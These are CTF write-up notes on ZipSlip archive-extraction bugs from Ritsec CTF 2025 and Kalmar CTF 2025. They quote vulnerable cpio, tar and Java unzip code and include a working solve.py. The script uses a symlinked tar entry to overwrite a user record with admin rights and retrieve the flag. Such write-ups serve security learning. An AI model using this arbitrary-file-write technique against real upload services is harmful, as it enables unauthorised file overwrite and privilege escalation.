ZipSlip in CPIO CLI Linux
| Event Name | Ritsec CTF 2025 |
| GitHub URL | - |
| Challenge Name | Upload Issue |
Attachments
References
vulnerable code
results = subprocess.run([f'cd uploads/{tmpname}/ && cpio -idF {tmpname}.cpio'], shell=True, capture_output=True, text=True)
we can do this to gain arbitrary file write
import libarchive
def generate_cpio_zip():
with libarchive.Archive('my_archive.cpio', 'w') as a:
a.write("../test.txt", "foobar")
ZipSlip in tar CLI Linux old version can be used to use symlink path traversal to arbitrary file write
| Event Name | Ritsec CTF 2025 |
| GitHub URL | - |
| Challenge Name | Upload Issue 2 |
Attachments
References
vulnerable code
results = subprocess.run([f'cd uploads/{tmpname}/ && tar -xvf {tmpname}.tar'], shell=True, capture_output=True, text=True)
tar versi
ii tar 1.34+dfsg-1.2+deb12u1 amd64 GNU version of the tar archiving utility
solve.py
import httpx
import asyncio
import tarfile
import tempfile
URL = "https://web-upload-issues-2.ctf.ritsec.club/"
def arbitrary_file_write(filepath: str, content: bytes):
with tarfile.open("archive.tar", "w") as a:
e = tarfile.TarInfo("tmp")
e.type = tarfile.SYMTYPE
e.mode = 0o777
e.linkname = "/"
a.addfile(e)
e = tarfile.TarInfo("tmp/"+filepath)
e.type = tarfile.REGTYPE
e.mode = 0o644
e.size = len(content)
with tempfile.NamedTemporaryFile() as f:
f.write(content)
f.seek(0)
a.addfile(e, f)
with open("archive.tar", "rb") as f:
return f.read()
class BaseAPI:
def __init__(self, url=URL) -> None:
self.c = httpx.AsyncClient(base_url=url)
async def register(self, username: str, password: str) -> bool:
res = await self.c.post("/register", data={"user": username, "password1": password, "password2": password})
return res
async def login(self, username: str, password: str) -> bool:
res = await self.c.post("/login", data={"user": username, "password": password})
return res
async def archive(self, file):
res = await self.c.post("/archive", files={"file": file})
return res
async def get_archive(self):
res = await self.c.get("/archive")
return res
async def get_flag(self):
res = await self.c.get("/admin")
return res
class API(BaseAPI):
...
async def main():
api = API()
username = "mamahinfoXdafffainfo"
res = await api.register(username, "admin")
res = await api.login(username, "admin")
res = await api.archive(arbitrary_file_write("/app/users/"+username+".json", b'{"passhash": "8c6976e5b5410415bde908bd4dee15dfb167a9c873fc4bb8a81f6f2ab448a918", "perm_level": 3}'))
res = await api.get_archive()
api = API()
res = await api.login(username, "admin")
res = await api.get_flag()
print(res.text)
if __name__ == "__main__":
asyncio.run(main())ZIP Slip Vuln
| Event Name | Kalmar CTF 2025 |
| GitHub URL | https://github.com/kalmarunionenctf/kalmarctf/tree/main/2025 |
| Challenge Name | Red wEDDIng |
Attachments
The unzip logic is defined in the file ZipArchive.java:
@Override
public void unzip(InputStream zipFile, File targetDir) throws IOException {
if (!targetDir.exists()) {
targetDir.mkdir();
}
ZipInputStream zipIn = new ZipInputStream(zipFile);
ZipEntry entry = zipIn.getNextEntry();
// iterates over entries in the zip file
while (entry != null) {
String filePath = targetDir.getPath() + File.separator + entry.getName();
if (!entry.isDirectory()) {
// if the entry is a file, extracts it
new File(filePath).getParentFile().mkdirs();
extractFile(zipIn, filePath);
} else {
// if the entry is a directory, make the directory
File dir = new File(filePath);
dir.mkdirs();
}
zipIn.closeEntry();
entry = zipIn.getNextEntry();
}
zipIn.close();
}
But oops, it looks like the zip file entries are not sanitised, so that means we've identified a classical zip slip vulnerability!